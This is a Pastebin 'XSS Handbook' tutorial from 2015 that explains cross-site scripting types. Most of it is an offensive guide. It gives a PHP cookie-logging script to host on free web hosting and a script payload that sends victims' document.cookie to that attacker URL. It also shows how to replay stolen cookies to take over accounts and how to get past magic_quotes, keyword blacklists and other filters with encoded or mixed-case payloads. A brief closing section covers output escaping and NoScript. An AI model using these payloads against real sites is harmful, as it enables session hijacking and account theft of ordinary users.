Dr-L0v3

::: XSS Handbook :::

Aug 25th, 2015
3,174
1
Never
12
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.04 KB | None | 1 0
  1. XSS Handbook
  2.  
  3. Introduction
  4. This thread was written for another forum which I decided to leave.
  5. I hope you'll enjoy this thread, it takes a lot of time to write.
  6.  
  7. What is XSS?
  8. XSS, also known as cross-site scripting is a web vulnerability. It's caused when the user input
  9. is not sanitized correctly, and is therefore executed.
  10.  
  11. Let's say there's a search box on a website. If you search for the word "cat" and press enter you'll
  12. probably come to a second page where it says something like "500 results for the word 'cat'".
  13. This means that the websites HTML is looking something like this.
  14. Quoted Message
  15. <h1>500 results for the word 'cat'.</h1>
  16. Now, let's say this website was vulnerable to XSS and you changed your input from cat to HTML code, it's
  17. not sanitized correctly and is executed. Let's say you search for this instead: <script>alert('XSS')</script>.
  18.  
  19. Now the HTML code would look like this instead.
  20. Quoted Message
  21. <h1>500 results for the word '<script>alert('XSS')</script>'</h1>
  22. What the website will do is it will think that the user input is actually a part of the website, and it'll execute the Javascript code resulting in a
  23. popup saying "XSS".
  24.  
  25. There's been a number of interesting uses of XSS over the years. One of the most recognized uses
  26. was by a guy called Samy Kamkar. He successfully executed Javascript on his MySpace profile.
  27. What he did was creating a Javascript worm, so as fast as anyone would visit Samy's MySpace profile, the
  28. Javascript payload would run, adding the Payload to their own profile and change their bio to "But most of all, Samy is my hero".
  29.  
  30. XSS can be very harmful if it's used correctly.
  31.  
  32. Different attack methods
  33. In XSS there's a number of different attack methods. I'll go over some of the most common ones with you.
  34.  
  35. - Non-Persistent XSS
  36. This is the most common one of all XSS attack methods.
  37. It's the vulnerabilties that are not stored on the website, but is parsed in for example a URL.
  38. This include website searches and is usually found in forms that are never stored, the same thing I explained before.
  39.  
  40. For someone to exploit the vulnerable on an another user, he'd have to craft a link and send it to the target.
  41. Let's imagine the search XSS I talked about earlier. The URL might look something like this:
  42. Quoted Message
  43. http://www.website.com/search.php?q=search+here
  44. The search+here would be replaced with the XSS payload.
  45.  
  46. - Persistent XSS
  47. This one is actually the rarest type of XSS. This is found in comments, bio's, chat logs, etc - the ones where the text is stored on the website unless it's removed
  48. by someone like an administrator.
  49. The XSS found on the forum was persistent, as fast as anyone would visit the chatbox the payload would be executed.
  50.  
  51. - DOM-Based XSS
  52. This attack method is basically useless. There's no way you can attack a user this way unless you trick them to enter your Javascript payload
  53. in the vulnerable form/URL.
  54. This vulnerability is similar to Non-Persistent XSS, but there's no URL crafted, so there's no way for you to make the victim
  55. run the payload. The DOM-based XSS results in you just modifying the DOM enviornment in the victims browser.
  56.  
  57. Cookie Catching
  58. Cookies are small files which are stored on a user's computer. They are usually seen as strings and are ran in the users browser.
  59. This allows the server of a website to deliver a page tailored to a particular user.
  60. For example, if you were to log into Facebook and make sure the "Remember me" button is checked a unique cookie file is stored on your computer.
  61. Next time you visit Facebook, it's going to look for the cookie - and if you have it, it's automatically going to log you in.
  62. If you can steal these cookies with, let's say a XSS vulnerability in Facebook, you can use those cookies in your own session to authorize as someone else.
  63.  
  64. To start stealing cookies you have to set up your own websites with a PHP script.
  65. I prefer using http://3owl.com or http://000webhost.com/. Once you've created an account you can log in and go to your file manager.
  66. Here you're going to create a file, name it whatever you want - I'll go with cookie.php.
  67.  
  68. The file is going to contain this PHP code:
  69. PHP Code:
  70. <?php
  71.  
  72. $cookie = $HTTP_GET_VARS[" c"];
  73. $file = fopen('cookielog.txt', 'w');
  74. fwrite($file, $cookie . "\n\n");
  75. echo " <script>location.href='http://www.google.com';</script>";
  76.  
  77. ?>
  78. Once you've created it you'll have your URL with the PHP script on. It'll look something like this:
  79. Quoted Message
  80. http://www.website.3owl.com/cookie.php
  81. Now, go to the vulnerable website and enter this XSS payload:
  82. Quoted Message
  83. <script>document.location= "http://www.website.3owl..com/cookie.php?c=" + document.cookie; </script>
  84. What this will do is to redirect the site to your cookie logging script, and add the cookie after the "c=", and store the string in a textfile called cookielog.txt.
  85. You can later go to your file manager and see if you've got any cookies.
  86.  
  87. To use someone's cookie you can use any cookie editor, like Advanced Cookie Manage which you can install as an addon through your browser.
  88.  
  89. Bypass Techniques
  90. Most admins will put different filters trying to avoid XSS. Some of these methods are:
  91.  
  92. - magic_quotes_gpc=ON
  93. - HEX encoding
  94. - Obfuscation
  95.  
  96. magic_quotes_gpc=ON bypass
  97. This is a very well known filter, and is also used to prevent SQLi and other vulnerabilities.
  98. What it does is after every single quote (') and double quote (") it's escaped with a backslash.
  99.  
  100. The way you bypass this is by using the Javascript function String.fromCharCode().
  101.  
  102. Just convert your payload into decimals by using a tool like this http://www.asciizeichen.de/tabelle.html
  103.  
  104. HEX encoding bypass
  105. This kind of explains itself, you simply encode your XSS payload into HEX.
  106. For example, the XSS payload:
  107. <script>alert(1)</script> would look like this %3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3 c%2f%73%63%72%69%70%74%3e
  108.  
  109. You can use websites like http://www.swingnote.com/tools/texttohex.php for this.
  110.  
  111. Obfuscation
  112.  
  113. This filter is the worst filter against XSS if it's not used correctly, and there's an extremely easy way of bypassing it.
  114. What this filter does is it has different words like "script" and "alert" on a blacklist of words, so whenever someone tries to write them they're censored.
  115. If the administrator is stupid you can easily bypass this by writing the payload like this:
  116. Quoted Message
  117. <sCrIpT>aLerT(1)</sCriPt>
  118. Extra Method
  119. Sometimes you have to be a bit creative with your payloads and have a look at the source code.
  120. You might have to write your payloads like this:
  121. Quoted Message
  122. "><script>alert(1);</script>
  123. or
  124. Quoted Message
  125. </p><script>alert(1);</script>
  126. There's endless of possibilities to this method.
  127.  
  128. How to fix XSS vulnerabilities
  129.  
  130. Obviously because we're in the "Security" section we have to learn how to secure your website against XSS threats.
  131. There's a number of ways to fix XSS vulnerabilities, but I'm going to name the most common one.
  132.  
  133. Let's imagine that there's a search box on your website that's vulnerable to XSS.
  134. You go into the PHP code of the search box and have a closer look.
  135.  
  136. If it's storing the user input in a variable like 'search' you have to add a secure function to it, to make it sanitized.
  137. Let's imagine the result page's PHP code is:
  138.  
  139. PHP Code:
  140.  
  141. <?php
  142. echo ($_GET['search']);
  143. ?>
  144.  
  145. Instead of having it posting the user-input directly, we have to sanitize it first.
  146. We can do this by changing the PHP code to
  147. PHP Code:
  148.  
  149. <?php
  150. echo htmlspecialchars($_GET['search']);
  151. ?>
  152.  
  153. When you search for something It's going to show the same way, but the user-input is now sanitized and not taken literally.
  154.  
  155. XSS defense as a user
  156.  
  157. A good defense against XSS as a user is by using addons like noscript. What this addon does it not allowing
  158. Javascript to be run on a website unless you allow it. So if someone sends you a link with a Javascript payload on
  159. it wont execute unless you allow it to and it's trusted.
  160.  
  161. Last words
  162. Writing this stuff is harder than you think. I hope you all learnt something new and that you enjoyed reading this.
Advertisement
Comments
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
Add Comment
Please, Sign In to add comment